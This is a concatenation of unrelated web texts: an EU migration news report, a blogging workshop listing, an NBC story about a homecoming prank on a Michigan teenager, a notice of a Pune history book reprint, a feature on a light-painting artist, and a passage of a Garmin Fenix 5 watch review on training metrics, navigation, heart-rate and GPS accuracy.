“The clock is ticking. Time is running out on a Turkey solution,” said the Dutch immigration minister, Klaas Dijkhoff, who chaired Thursday’s meeting. “Other plans and measures are being taken in the meantime.”
The piecemeal unilateral moves being taken across Europe – this week alone Hungary, Belgium, and Austria announced solo moves on immigration curbs – are adding to the sense of chaos and impotence in the EU and are turning Greece into Europe’s immigration pressure cooker.
Alexis Tsipras, the Greek prime minister, is threatening to block decisions at EU summits unless there is a major shift towards coherent policy-making. Avramopoulos reiterated tired mantras on Thursday on the need for European rather than national solutions, but his pleas only served to underline how the commission in Brussels is being ignored and bypassed.
Senior officials in Brussels and from several countries say that the sole yardstick that matters is that the numbers of migrants arriving in the EU falls sharply. This is not happening. According to the International Organisation for Migration, 100,000 have arrived in Greece since the start of the year, a tenfold increase on the same period last year.Have you ever had an idea for a blog but didn't know how to get it started?
Do you currently have a blog that could use a facelift?
Building and maintaining a blog is a full time job for some people, but it can feel intimidating and overwhelming if you don't have all the necessary technical skills to create the blog you envision!
Join us on Wednesday, June 1st for a hands-on workshop to get helpful tips, best practices + valuable instruction on how to create and sustain a Wordpress blog from Miami Nice Mag's creator, Patricia Guarch and Senior Software Architect, Willy Vidable.
7:00pm - Check-In + Refreshments
7:30pm - Introductions
7:40pm - Workshop Begins
8:45pm - Workshop Closing + Q&A
9:00pm - Workshop Ends
About Patricia Guarch
Patricia is a Miami-native who began working on MIAMI NICE as a side project. She currently works as a full time blogger and digital brand consultant. Her specialty is in digital branding.
Some of her clients include the Greater Miami Convention and Visitors Bureau (GMCVB, miamiandbeaches.com) Coconut Grove Business Improvement District (BID, facebook.com/coconutgrovefl), Coral Gables Business Improvement District (shopcoralgables.com) and Miami International Auto Show (MIAS). She's contributed to Refinery29, Cosmopolitan for Latinas, Racked, the Miami New Times and collaborated with New York Magazine and Kenneth Cole.
About Willy Vidable
With more than 20 years of experience in IT as Project Manager and Software Architect, Willy has been involved in designing and developing information systems for public agencies and private companies in the United States and Latin America.
Willy specializes on architecture, implementation and administration of cloud based systems for SMB companies. He has several years of experience in virtualization using Windows Hyper-V and more recently using Linux with Docker. He is also focused on private cloud implementations using OpenStack, OpenShift Origin and Red Hat Linux Enterprise Server.
Willy enjoys working in cloud applications projects using AngularJS, Node.JS, and AWS services like API Gateway and Lambda. He also work on mobile applications using Xamarin.
Willy is a Certified Scrum Master and a AWS certified Cloud Architect.
About MADE at the Citadel
CO-WORKING DESIGNED FOR THE CREATIVE PROFESSIONAL.Sophomore student Whitney Kropp never saw herself as part of the "in" crowd at her high school, so she was surprised to find out she was voted to homecoming court. It turned out to be a prank, but now the community is rallying behind Whitney to show their support for her. NBC's Kevin Tibbles reports.
Dale G. Young / The Detroit News Whitney Kropp was named to the homecoming court as a joke by her classmates, but the tiny farm town of West Branch, Mich. has rallied around her.
Whitney Kropp, a sophomore at Ogemaw Heights High School in West Branch, Mich., said she was surprised to learn that she was picked by her classmates to be in the running for her school’s homecoming queen.
“I never thought I would be part of it because, really, it’s just for, like, the big popular people,” Kropp, 16, told NBC News' Kevin Tibbles on TODAY.
But she was soon humiliated when she learned Sept. 13 that her selection to the homecoming court had been part of a prank by other students. She said students pointed at her in the hallways and laughed, and the boy who was picked with her withdrew.
“Some kids thought it would be funny just to put me in there as a joke to make fun of me,” Kropp said.
But Whitney’s ridicule didn’t stop didn’t there. Her mother, Bernice Kropp, told NBC News on Monday that the bullying continued on Facebook.
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Kropp said her daughter, a sophomore, had been picked on before at school, but not to the extent of the peer vote that selects students to the court, which traditionally names a queen, king and princes and princesses from each class. The high school has about 800 students.
“I felt like I wasn’t worthy. Why even be a part of this community, this world if I’m just going to be tossed around like basically a piece of trash?” Whitney Kropp said.
But then, her mother said, “other kids started coming up to her and saying, ‘Whitney, don’t let them stop you from going to homecoming. You need to go ahead, you need to do it.'”
Bernice Kropp described her daughter as quiet, polite and kind, rarely finding fault with peers and people. She said Whitney has decided to attend the dance despite the prank as businesses and neighbors in the tiny farming town have rallied around Whitney.
Kropp said Whitney even has a date for the dance this Saturday, "and it’s her boyfriend who has been very quiet and supportive through all of this."
"You want to protect your kid, and you feel angry and mad at what has happened, but at the same time the outpouring to help her has been beyond expected," she said.
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Word spread quickly through the community of about 2,100 residents in West Branch. Resident Jamie Kline started a Facebook support page, gaining more than 4,000 likes in Michigan and nationwide. Personal stories of bullying and messages of encouragement filled the page, among them:
"You go, girl! From here in California, it looks like you won the vote legitimately but some of your "friends" got jealous and nasty about it. Their "joke" never really happened! Hold your head high and have a good time," Raymond Puffer. "Whitney YOU are a beautiful gal inside and out and dont ever let anyone tell you any different,” Karen Morrison Gross. "I am so proud of this young lady ((((You GO, Girl))))), her family and the awesome community we share! It's high time we ALL take a stand against bullies. They come in all sizes, ages and social arenas. Be Kind ALWAYS,” Ginger Warren.
Jen Case, who is with Whit’s End Salon in West Branch, said the salon owner donated services to cut, color and style Kropp’s hair. "Bullying is a big thing and we wanted to turn this into a positive moment," Case said.
Other local businesses are paying for Whitney’s dinner, gown, shoes and a tiara for the dance.
"We live in this community and we’re about the community and giving back," Case told NBC News. "We wanted to help this young lady have a special night."
“I’m excited to go because I can prove everyone wrong and say, you know, I’m not this joke that you guys thought of. You guys doing this has made me stronger and I’ve got more self-esteem than what I had," Whitney Kropp said.
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Follow US News from NBCNews.com on Twitter and FacebookPUNE: A revised edition of 'Pune: Queen of the Deccan', a book that chronicles the origins, development and growth from a hamlet to a vibrant metropolis, was recently released.The book, written by late historian and heritage expert Samita Gupta and urban studies expert Jaymala Diddee, has been out of print for over seven years."The book was unavailable for the past few years, but we kept receiving requests for it. Therefore, we decided to reprint the book," Arti Kirloskar, convenor of the Pune chapter of Indian National Trust for Art and Cultural Heritage (INTACH), which has published the book, said on Wednesday.The revised edition of the book has an additional chapter that describes the emergence of the city as an information technology hub.The book documents the origins of the city, probably a settlement comprising three villages, and traces its rise as the centre of the Maratha power under Chhatrapati Shivaji Maharaj. It also covers the city's?golden age' under the Peshwa rule, the British conquest and its strategic importance as a cantonment and its growth as a modern city in the 20th century.It has photographs from various archives along with pictures of the temples, old wadas and civic structures in the city."Some photographs have been collected from museums and archives in London and other parts of the world. We had to re-source some photographs for this edition of the book while permissions had to be renewed for a few others. It took us two years to put everything in order for the book. At present, we have published 5,000 copies. Pune is changing so dramatically that by the time it goes into reprint, it may require another update," Kirloskar said.INTACH has made the book available in many bookstores and on some online retail stores. Sandesh Bhandare, whose photographs have been added in the revised edition of the book, said in the last 15 years, many structures documented in the book have "either vanished or changed drastically".Graffiti-ridden derelict sites have been given a much needed face-lift with extraordinary light art by Tigtab. Each image is created with the help of stencils. These intricate designs are revealed after a burst from a camera flash lights up the inside of the box. In this picture, a pond scene is created in a flooded derelict building.
She said : “My photos are predominantly shot using urban backdrops. I find beauty in decay – those abandoned and forgotten places all around us. By bringing light into the darkness of each space, it fills that space for a moment in time, and highlights both their beauty and impermanence”
Much like Banksy, Tigtab, from Melbourne, Australia, keeps her identity a closely guarded secret
Under cover of darkness, she can spend up to four hours creating just one photo
Tigtab creates her images using stencils
The stencils are placed on light boxes lined with silver foil. The intricate designs are revealed after a burst from a camera flash lights up the inside of the box very briefly
Tigtab moves around the room, tunnel or drain, repositioning the stencils and firing the flash repeatedly while the shutter of the camera is left open to create complex designs
The end result is so polished Tigtab said people often assume her work is computer generated. She said: “Speechless is a good description of people’s initial reactions to date. They will often stare in awe, unable to verbalise initially what they are seeing. I find that people keep returning to certain images, which is a wonderful compliment”
“Some people don’t realise that they are images that I have created, and then shot within that location,” she said. “They assume that they are entirely constructed within a computer, which is incorrect”
You can see more of Tigtab’s |
of the same sport type). It’s those two key items that allow it to really hone in. It’ll reach it’s ‘full potential’ once it has about a month’s worth of data on you.
So what type of data is it giving? Well, there’s a bunch of metrics. Nothing here requires a heart rate strap. First, we’ve got the basics – like VO2Max for both cycling and running. These have been around for a while.
Then we’ve got recovery hours. This is a continual timeline of your recovery hours. This grows with each workout, and shrinks over time, like flipping over an hourglass timer. Along the bottom it’ll give guidance on how to train:
Then we’ve got the new Training Load piece. This tells you how much load you’ve had in the last 7 days, and whether that’s optimal, overtraining, or undertraining. Remember though – this is based on understanding you as an individual (which gets to those first few weeks). So it’s looking at your past training load and figuring out what you’re capable of. Said differently: It’ll be different for everyone based on their historical loads.
The specific number given in the middle ranges differently for each person. The below graph kinda helps to put it in perspective. But again – the optimal range will vary by individual.
A couple of things to keep in mind about the Training Load function:
– The number is a 7-day rolling value
– It’ll take one week before you see the first number
– It takes four weeks to be ‘fully calibrated’, inclusive of VO2Max estimates
– It requires either the optical HR sensor be enabled or a heart rate strap be paired to accumulate load
Then we’ve got the previous Race Predictor function. This is pretty straightforward and just does a lookup table based on your current running VO2Max, your gender, and your age. Nothing more, nothing less. This also assumes you’ve done the training such that your legs can maintain that distance. In general, for most people, it tends to be in the right ballpark of their *potential*. Again, you’d have to have the training in the legs to hit that.
Lastly, we’ve got the Training Status screen. This is new, and it’s pretty cool. Up top it’ll tell you your current training Status, followed by whether your fitness level is falling, and if the load is increasing. Here’s mine as of today:
So what’s it telling me? Well, it says that I’m doing unproductive training. That makes sense. I’ve been traveling the last few days, along with skiing. That’s moderately unproductive. Officially, here’s what the description from FirstBeat means:
“Your training load is at a good level, but your fitness is decreasing. Your body may be struggling to recover, so be sure to pay attention to your overall health including stress, nutrition and rest.”
Which is ironically exactly true. I was sick last week, and combined with the travel and weird hours – it’s not ideal. Kinda neat when something works.
In the photo above you’ll see the fitness and load directional arrows. One is showing my fitness is decreasing as a result, while my load is actually slightly up. That’s because I’ve been doing ad hoc (but unstructured) shorter runs the last few days (3-4 days in a row), coming off of skiing for a week. So it’s less than ideal from a training standpoint.
Here’s another example from a few weeks ago, which is showing the opposite, as I was peaking at that point coming off of a strong week.
Next, at the end of every workout, you’ll be given a split of anaerobic an aerobic training impact, in terms of a number between 0.0 and 5.0. While Training Effect used to be a single number, now it’s split.
So what’s the above telling me? Well, there are tons of different phrases it can give back to you:
In order to make that easier, they’ve put them into a spreadsheet, which I’ve uploaded to below. Actually, two spreadsheets:
Training Effect terms/phrases (Excel)
Training Status terms/phrases (Excel)
Finally, note that all of this is displayed on Garmin Connect at the end of each activity, you can see it here:
What isn’t (yet) displayed though is graphs showing this all over time. That would allow you to plot this and determine where you stand with training load in general, and potentially going into an event.
Two last notes – the Fenix 5 includes both the ability to establish Lactate Threshold levels as well as cycling VO2Max. The lactate threshold feature was introduced in the past with the Garmin FR630 and Fenix 3. As was cycling VO2Max on other units. With the lactate threshold feature you do need a heart rate strap (as you do if you want to use the ‘Stress Test’ score app). Also, with the cycling VO2Max test/values, you’ll need a power meter connected. Just wanted to make that clear.
Also, the Fenix 5 can record HRV data from an HR strap to the activity files, if you have specific apps that want to take advantage of that. To enable that you’ll dive into the settings menu and turn that to enabled.
Overall I’ve been pretty impressed with new FirstBeat driven features– more so than I’ve been in the past with similar training status/recovery type metrics. At the end of almost every workout I’d say that the ‘Training Status’ page (i.e. productive, unproductive, etc…), and fitness/load arrows are inline with how I feel. Of course, they’ve got years of experience with his algorithm in their dedicated software platform. Obviously though, I’m interested in seeing how it works for others as well – once folks are able to get 3-4 weeks of time on their units with good data to starting getting details on.
Navigation and Courses (and 5X Maps):
Historically one of the biggest differentiators between the Fenix series and the Garmin Forerunner series has been the navigation capabilities. Turning back the way-back machine to the original Fenix (aka Fenix 1), that was all about navigation. Then over the course of the Fenix 2 and Fenix 3 it became more focused on sports, albeit not to the detriment of hiking/navigation.
What I want to do here is show you how it works to create a course/route, load it onto a unit, and then navigate on it. That’s the basics. But then I’ll show you the unique differences within the 5X, since that has maps on it. Whereas with the 5/5S, they don’t have maps and instead use a breadcrumb style trail with general directional guidance (i.e. compass style).
To begin, you’ll need to create a course. The easiest way is to do this with Garmin Connect, where you can drag and drop your route over a map.
Once you’ve got the route done (I’ve got some tips a bit later in this section), you’ll send it to your Fenix 5. You can do this from the desktop or mobile app. From there it’ll show up in your list of courses on the unit:
Ok, with that all set we’ll crack open the course to navigate on it. It’ll offer the ability to show a map (which is just an outline) as well as the elevation profile. Below is how it looks on the Fenix 5 (non-X), we’ll get to the 5X in just a second.
Within the ‘map’ view (on all Fenix models), you can use the upper right button to iterate between three different zoom/pan functions. See those three tiny circles in the upper right corner? If I press that upper right button it then changes the lower-left button functions. Once for zoom options, once for pan left/right, and once for pan up/down.
While navigating the course it’ll show your current position and then it’ll show your planned route. It’ll also notify you anytime you need to change direction. Further, the little red arrow uses the magnetic compass to point you in the right direction.
If you want you can also select a past activity to follow. In doing so, it’ll actually set it up as a bit of a race, allowing you to pace/race against it while running/riding that course:
And you’ll get your current position within the elevation profile as well.
If you wander off-course, it’ll let you know about that as well (see the little turn indicator counting down along the bottom of the screen below).
And this is to some degree where we get into the key differences between the Fenix 5/5S and the Fenix 5X. When you’re routing on the 5/5S it has no context of what you’re on. It just knows you need to go in a given compass direction. Whereas on the 5X, it actually has routable maps – so it knows you’re on a road/trail.
You can see that below too – it’s not telling me of any impending turns, despite the route being on a twisting road – because it knows I can’t go anywhere but that road.
This is important because when I was on a winding mountain road, the Fenix 5 would constantly notify me at every switchback in the road, even though there was nothing else to do but follow the road. Whereas on the 5X, it knew that I was on a simple switchback, and didn’t notify me to keep following the only road there was (logical).
Speaking of routing, let’s talk a few more 5X specifics. On *only* the Fenix 5X is the ability to do round-trip routing.
This allows you to request a route (i.e. cycling/running) of a given length and if you want a given direction, and it’ll go and find you a course using the map set it has.
Well technically, it will offer up three routes for you to choose from:
You can then execute these courses just like you would any other course. It’s great for running or riding in places you don’t know, since it’s going to leverage cycling routes and other non-car friendly options when available.
I’d note that the creation of the route can take a wee bit of time. Within the city, it would take about 60-90 seconds (easily) per route. Whereas out in the middle of nowhere it was far quicker.
The other downside is that it does depend on the trail data within the mapset. For example in Spain when I was in a hiking mecca, the base mapset (it was a European Fenix 5X edition), didn’t include any (or at least, many) of these local trails. So the only options it gave me for hiking/running were on the main roads. Which was definitely a bummer.
Inversely, in Chamonix in France – I got tons of great options for routing, and many/most trails were understood.
Next, we’ve got the 5X’s ability to search through local points of interest. This means you can lookup a place to eat, or a place to get gas (useful for also finding food or water on a long ride), and many other places:
Once you select a POI, you can route to it as well just like before. This is essentially the same functionality you’d find on the Garmin handheld series. And again, none of this requires a phone to work. It can be done totally without any connectivity. What’s cool about this is the Around Me function, which has the watch tell you everything around you:
Or, you can filter it to just certain categories – like food.
What’s interesting is you if you look above you’ll see a little wedge on the upper right portion of the circle – kinda like two clock hands. This allows you to press the red button and then get a listing of places within just that wedge. Thus narrowing down the list.
You can rotate that little pizza pie around, to zoom in on another section:
And all of this does work pretty darn well. However, there are some tricks to making things work better, especially on route creation.
First, when using Garmin Connect’s site, you’ll likely try first in satellite mode. That’s fine, as that’s the best bet for figuring out routes. However, it won’t always work. For example, in this simple case I tried to create a route between the road and that beach you see down south of it. The red line is what happened when I told it to connect those two points:
So basically, it didn’t find anything there routing wise. Pretty much useless.
Instead, if you try clicking the dropdown in the upper right and select “OpenStreetMap” from the upper left corner, and try again. Ahh….much better!
Note in both cases I left on the option for ‘Stay on Roads’, which also translates to ‘Stay on trails’. Else it’d just connect the two dots and ignore roads.
The point being here that you’ll definitely need to experiment a bit. Also, somewhat frustrating you still have to do this all via desktop computer. There’s no option for doing this via your phone.
And the above is a perfect example of that. On this roadway it’d be very common for folks to stop at that parking lot and then want go to for a few mile/kilometer hike. There are many options (some of them you can plainly see in the map). Yet planning those would require getting back out a desktop computer, unless the Fenix 5X happened to know about it (and in the case of this area, it didn’t know about many trails I tried).
Which ultimately gets to my final point here: The 5X is very cool, and generally quite responsive. And if you’ve done enough planning it works out really well. Or, if you’re just in an area where the mapping quality is good. But if you’re not, then you’ve paid an extra pile of money for something that a $1 phone app tends to do a lot better. Or, as I said years ago in my previous Fenix reviews: I want to be able to plan routes from my phone and then immediately transfer them to my watch. Is that asking too much?
Heart Rate Sensor Accuracy:
The Fenix 5 series includes Garmin’s Elevate optical HR sensor built into the bottom of it, which I used both in workouts as well as in 24×7 continual HR monitoring mode. With the Fenix 5, this sensor got a slight overhaul/upgrade, most notably when in 24×7 mode. Previous to this, Garmin’s Elevate sensor would sample rather infrequently (outside of workouts), at rates from every few seconds to every few hours. It was all over the map.
But with the new lower-power Fenix 5 optical sensor, it now samples every 1-2 seconds. Basically, it’s always on. In addition to the change in sampling frequency, they’ve also reduced the sensor bump. Of course – my goal is to find out if there were any undesired repercussions from this, specifically in sport mode. When it came to 24×7 mode, the new data looks much better, and the accuracy seems spot on for casual activities like watching TV, walking, or just living life.
Thus with each subsequent new unit released I re-visit sensor accuracy. While it’s the same physical hardware, one can see the impact that firmware updates make. Additionally, each watch has a slightly different form factor (exterior design), which can impact accuracy in terms of external light getting into the sensor area (which degrades accuracy of optical HR sensors).
Before we move on to the test results, note that optical HR sensor accuracy is rather varied from individual to individual. Aspects such as skin color, hair density, and position can impact accuracy. Position and how the band is worn are *the most important* pieces. A unit with an optical HR sensor should be snug. It doesn’t need to leave marks, but you shouldn’t be able to slide a finger under the band (at least during workouts). You can wear it a tiny bit looser the rest of the day.
Ok, so in my testing, I simply use the watch throughout my normal workouts. Those workouts include a wide variety of intensities and conditions, making them great for accuracy testing. I’ve got long/steady runs, hard interval workouts on both bike and running, as well as tempo runs and rides. Not to mention skiing and hiking. Night and day, sun and snow. I’ve got it all!
For each test, I’m wearing additional devices, usually 3-4, which capture data from other sensors. Typically I’d wear a chest strap (usually the HRM-TRI), as well as often another optical HR sensor made by Scosche and in some cases also a Suunto Spartan Wrist HR that I’m also testing. I generally consider the Scosche sensors to be the most accurate optical HR sensors for fitness/workouts today. Note that the numbers you see in the upper right corner are *not* the averages, but rather just the exact point my mouse is sitting over.
Let’s dive into the first data set. Note all this data is analyzed using the DCR Analyzer, details here.
First let’s start off with an interval run of sorts. The first part is a bit of a warm-up, and then I go into four interval sets of about 5 minutes each, followed by three slightly more intense (but shorter intervals). On one arm I had the Fenix 5 with the optical HR sensor. On the other I had a Suunto Spartan Ultra paired to a Scosche Rhythm+, and then I had a Fenix 3 paired to an HRM-TRI heart rate strap. Here’s the overview:
So, a couple of things. First up is at the front we see the two optical sensors match nicely, while the HRM-TRI chest strap is a bit low. This is actually an interesting case because the chest strap is wrong here. A classic case of a cooler day (with some light winds) and it taking a few minutes to ‘click’. I believe I added some more spit to the chest strap around the 6-8 minute marker, and adjusted it a bit and then it matched nicely.
And in fact, from that point forward throughout the rest of the intervals things are really very clean and actually some of the best tracking I’ve seen. If I were to nitpick a bit more, it looks like at the end of the first interval the HR strap properly reduces the HR quicker than the optical sensors by a few seconds, but nothing major. You’ll notice at the start of the 3rd interval I appear to ‘lose’ the connectivity to the Scosche. Said another way: The battery died and quite literally flat-lined.
But for the rest of the run, even during the very short/hard sprints at the end, the Fenix 5 is looking quite good.
Next, let’s look at another run (this time back home in Paris). This time a somewhat steady-state run, but it included some rollers, which means my HR was constantly shifting. Additionally, cadence was shifting a bit too as I’d go up/down slight inclines.
At a high glance, things track relatively close. But there are some quirks. For example, early on there’s a bit of separation, which I’ll give the HRM-TRI strap as being the more correct of the two.
And then into the run, if you pick it apart more closely you see where the optical HR sensor seems to be slightly overshooting and occasionally undershooting little shifts in intensity. It’s not massive, and only lasts a few seconds each time. But it is notable.
Most people would consider the above nitpicking, but it’s certainly worthwhile pointing out.
In general, most of my runs mirror the above results. Usually it’s pretty good, and usually it doesn’t miss any major moments. I have found in general if there’s going to be an issue, it’s almost always going to happen in the first 120-180 seconds. While I often wait a few seconds longer after ensuring an HR lock, I haven’t seen that have a major impact on my first few minute success one way or the other.
Next, let’s shift to a cycling. This is historically where Garmin’s optical HR sensors have struggled. I’m going to pick an outdoor ride, namely because you can check out one of my trainer rides below and see it performed almost flawlessly (the optical HR sensor). Outdoor is hard, indoor is easy. This ride was almost 8 hours long, so there’s lots of variability in pacing and such. So I’m really going to focus on one of the climbs I did, since that was a bit more intense.
Here’s that climb, once zoomed in:
You can see it definitely missed the first 4-5 minutes, being offset by about 20bpm (that’s a lot), but then it seemed to lock in pretty well for much of the rest of the climb, save a few moments here and there. Still, not quite ideal.
Next, another section of that ride before a break where a small group of us were rotating through at pretty high intensity for about 10 minutes or so. You’ll notice that it got the general plot correct, but was still off 3-6bpm for fair chunks of time.
And this is in general what I’d see. The Fenix 5 Elevate optical HR sensor is definitely improved over the first generation Garmin Elevate sensors (either via firmware or hardware) when it comes to cycling, but it still leaves a bit to be desired in this area. Personally, I’ll use a HR strap or other optical HR sensor (i.e. the Scosche) while cycling outdoors. For indoor trainer use, the Fenix 5 optical HR sensor seems just fine though (no vibrations on the road to screw it up).
So overall – I’d say things are pretty good (the best we’ve seen from Garmin’s sensor tech) while running, but a mixed bag while cycling. Note that Garmin doesn’t enable the optical HR sensor during swimming (either indoor or openwater), except to simply sample for your 24×7 HR. So while you’ll see the light go on and off, that data isn’t recorded to the workout file. Garmin has experimented more with this in recent months, but still doesn’t believe the accuracy is there yet to keep it on while doing swim activities. For that, you’ll still need/want either the HRM-TRI or HRM-SWIM straps to pair with.
Lastly, here’s a table of all my activities on final or near-final software from the last couple of weeks:
Garmin Fenix 5 Data Sets
Date Workout Type Data Type Units Used Comparison Link Mar 22nd Running GPS Focused Fenix 5 + HRM-RUN, Spartan Wrist HR, FR735XT no HRM Analyze Mar 21st Running GPS/HR Fenix 5, Spartan Wrist HR, Fenix 3 with HRM-RUN Analyze Mar 20th Running GPS/HR Fenix 5, Spartan Wrist HR, Fenix 3 with HRM-RUN Analyze Mar 19th Cycling (Easy) GPS/HR Fenix 5, Spartan Wrist HR, Edge 1000 with TICKR-X Analyze Mar 12-18th Tons of skiing GPS/HR Fenix 5 Single device only Mar 8th Cycling GPS/HR Fenix 5, Wahoo BOLT with TICKR HR Analyze Mar 7th Cycling GPS/HR Fenix 5, Wahoo BOLT with TICKR HR Analyze Mar 7th Openwater Swim GPS Fenix 5, Fenix 3 on Swim Buoy (Reference) Analyze Mar 5th Indoor Trainer HR Fenix 5, Crapton of Edge/Wahoo paired to TICKR-X HR strap Analyze Mar 4th Running GPS/HR Fenix 5, Suunto Spartan Ultra, Fenix 3 with HRM-TRI Analyze Mar 1st Openwater Swim GPS Fenix 5, Fenix 3 on Swim Buoy (Reference) Analyze Mar 1st Running GPS/HR Fenix 5, Suunto Spartan Ultra with Scosche, Fenix 3 with HRM-TRI Analyze Feb 27th Openwater Swim GPS Fenix 5, Fenix 3 on Swim Buoy (Reference) Analyze
All of the above link to the DCR Analyzer data, where you can then dig into the individual activities in more detail if you’d like. Further, you can download the original data at the bottom of each page.
GPS Accuracy:
There’s likely no topic that stirs as much discussion and passion as GPS accuracy. A watch could fall apart and give you dire electrical shocks while doing so, but if it shows you on the wrong side of the road? Oh hell no, bring on the fury of the internet!
GPS accuracy can be looked at in a number of different ways, but I prefer to look at it using a number of devices in real-world scenarios across a vast number of activities. I use 2-6 other devices at once, trying to get a clear picture of how a given set of devices handles conditions on a certain day. Conditions include everything from tree/building cover to weather.
Over the years I’ve continued to tweak my GPS testing methodology. For example, I try to not place two units next to each other on my wrists, as that can impact signal. If I do so, I’ll put a thin fabric spacer of about 1”/3cm between them. But often I’ll simply carry other units by the straps, or attach them to my shoulder straps of a CamelBak. Plus, wearing multiple watches on the same wrist is well known to impact optical HR accuracy too.
Next, as noted, I use just my daily training routes. Using a single route over and over again isn’t really indicative of real-world conditions, it’s just indicative of one trail. So my training over the last nearly 3 months have covered over 61 workouts with the Fenix 5 in the following locales:
Cycling: Australia, France, Spain, United States
Running/Hiking: Australia, France, Spain, Finland, United States
Openwater Swimming: Australia, Spain
Skiing: France, Italy
These have included the following condition types:
Dense forests, desert mountains, cliff-laden mountains, the highest peaks in the Alps, tons of city running/cycling, light forests/suburbia, generic dessert (flats), coastal roads, open oceans
Almost all of my activities are available on Strava from the last three months, and almost all of those are from the Fenix 5.
When it comes to the data I’m focusing on for accuracy details in this review, I’m going to mostly limit it to the last few weeks, since earlier data was beta data. Though even in earlier beta conditions, I rarely had issues with GPS accuracy. During the beta (where software is being worked on), the only issues I saw were related to openwater swimming – but Garmin has since addressed those. I also saw a weird quirk with respect to tunnels, which Garmin has also since addressed (or at least, I haven’t seen it again). Such as in my run yesterday it are tracked through this tunnel area.
So while I’m focusing on data from the near-term, since that’s largely on final/production firmware – this data is indicative of the kind of data I saw throughout my time period with the unit.
First, let’s just start off with a run. Note all this data is analyzed using the DCR Analyzer, a tool you can use as well. Details here.
This run is fairly straight-forward in that it’s along the beach in Barcelona, but I figure it’s a good place to start. Plus, I make some nice turns/loops near some buildings to add a layer of complexity.
While running along the main portion of the boardwalk, things were just fine – which is largely to be expected. It’s pretty open.
Once I got towards the end of this stretch of beach, I decided to do some interval loops around a set of buildings. These buildings, in particular along the roadway, would have me running within 1 meter of 6-8 story structures. A great place to see how well it could hold a track.
Looking at the above, the Fenix 5 most accurately tracked where I was. The Fenix 3 in second place, and the Spartan Ultra cutting the corners at every opportunity. The Fenix 5 even correctly tracked when I brain-farted and missed the turn at the very southern tip – having to turn back around slightly.
Let’s look closer though at going down the roadway next to the buildings (left side):
You can see here that the Fenix 5 easily threads the needle on this, keeping my track properly between the two sets of buildings. Good stuff. Interestingly however, each time I passed this massive lookout tower, all three units veered left (even though I stayed to the right). Clearly some sort of interference going on there.
Ok, next, we’ve got another run, this one a bit more tricky within the city of Paris, closer to major buildings and such.
I run this route a lot as a test route. And in particular I’m looking for a few things. First, does it correctly cross the bridge and not cut the corner. In this case, the answer is yes, it nails it.
Next, as I go down the tree and building lined canal – does it follow my track and not get distracted by large structures?
On the way in (right side), the answer is yes, it stays on the track quite nicely. On the way out (left side), it almost perfectly gets it, but then takes one diversion into the side of the building by about 5m, just as I crossed the road up against the building.
Next, how does it handle the tunnel, highlighted in yellow (about 200m long)? I’m looking here for it to not get distracted and go off into the buildings at either entrance/exit when it loses satellite reception. It does so better than the FR735XT, though not quite as nicely as the Suunto Spartan Ultra (though, up above the Spartan Ultra is in the buildings for most of the canal test area).
Finally, as I come back onto the islands, I’m looking that it manages to hold track without putting me in either the water or the buildings. This is another really tough spot because of the tight roads and tallish buildings. But it does well, without any issues.
Note, I would move onto a cycling activity – but I’ll be honest – they’re boring. And they all look perfect. So, rather than just showing you perfection, let’s nitpick something else.
So next, we’ve got an openwater swim. This one is an interesting openwater swim – and one I highlighted up above in the openwater swim video. I like it because it’s actually a fairly complex swim track. What you see here is the Fenix 5 on my wrist, the Fenix 3 on the swim buoy trailing above/behind me, and then the Suunto Spartan Ultra as well in the mix (it got started late, but we can still look at the track from that point forward). Here’s the overall track.
Let’s zoom into the first 1/3rd or so, and see how that looks.
You can see below that the smoothest is the purple line on the swim buoy, however the Fenix 5 is reasonably close to it. It bobs a little bit to the side here and there – though not a massive amount. This is common for openwater swim tracks as it’s not quite as precise as being above water the entire time.
Next, we’re looking at the middle section (passing another pier), when I properly started the Suunto Spartan Ultra. You can see that in general the Fenix 5 and Fenix 3 maintain the same dance. The swim buoy laden Fenix 3 is smoother of course, but the Fenix 5 is pretty darn similar. The Suunto Spartan Ultra isn’t really competing at this point. I don’t know what it’s doing, but it’s been a continual problem for me in OW swims. Suunto now has the unit and is trying to figure out what’s up with it.
Next, this last part where I come into this sheltered area behind the break wall. I selected this route on purpose, specifically because it was complex. And the two Garmin watches actually did quite well at mirroring not only each other, but also my exact track (interestingly, it’s here that it’s obvious the Fenix3 was accidentally in smart recording mode). In fact, technically the Fenix 5 actually correctly cornered the last turn around the rocks a bit more perfectly.
If we look at the final distances, here’s where they stand:
In this case the Fenix 5 had an overage over the reference track by about 180 meters. That’s a tiny bit more than I’d like to see (ideally I want it +/- 10%), though, it’s in the ballpark for openwater swim units. Note DO NOT LOOK AT the distance for the Spartan. Remember, that was started 500m into the swim (i.e. 1320m + at least 500m). So it’s already added a bunch of extra distance; obviously, it’s way off.
So overall, it’s not too shabby. I also included another two openwater swims in these sets down below – which gave comparable (or slightly better) results.
Note that I’m just highlighting the above three GPS data sets, but everything else is below in the table. I picked the above three because I felt that covered the most varied of conditions – and were also representative of what I saw on the whole. Some days/areas were slightly better, and some areas/days slightly worse. But nothing in terms of major outliers.
Here’s a table of all my activities on final or near-final software from the last 2-4 weeks. Note that in general, I’m excluding activities where I didn’t have multiple devices, or excluding activities where GPS isn’t involved (i.e. indoor treadmill runs or similar). As well as stuff from earlier beta firmware versions.
Garmin Fenix 5 Data Sets
Date Workout Type Data Type Units Used Comparison Link Mar 22nd Running GPS Focused Fenix 5 + HRM-RUN, Spartan Wrist HR, FR735XT no HRM Analyze Mar 21st Running GPS/HR Fenix 5, Spartan Wrist HR, Fenix 3 with HRM-RUN Analyze Mar 20th Running GPS/HR Fenix 5, Spartan Wrist HR, Fenix 3 with HRM-RUN Analyze Mar 19th Cycling (Easy) GPS/HR Fenix 5, Spartan Wrist HR, Edge 1000 with TICKR-X Analyze Mar 12-18th Tons of skiing GPS/HR Fenix 5 Single device only Mar 8th Cycling GPS/HR Fenix 5, Wahoo BOLT with TICKR HR Analyze Mar 7th Cycling GPS/HR Fenix 5, Wahoo BOLT with TICKR HR Analyze Mar 7th Openwater Swim GPS Fenix 5, Fenix 3 on Swim Buoy (Reference) Analyze Mar 5th Indoor Trainer HR Fenix 5, Crapton of Edge/Wahoo paired to TICKR-X HR strap Analyze Mar 4th Running GPS/HR Fenix 5, Suunto Spartan Ultra, Fenix 3 with HRM-TRI Analyze Mar 1st Openwater Swim GPS Fenix 5, Fenix 3 on Swim Buoy (Reference) Analyze Mar 1st Running GPS/HR Fenix 5, Suunto Spartan Ultra with Scosche, Fenix 3 with HRM-TRI Analyze Feb 27th Openwater Swim GPS Fenix 5, Fenix 3 on Swim Buoy (Reference) Analyze
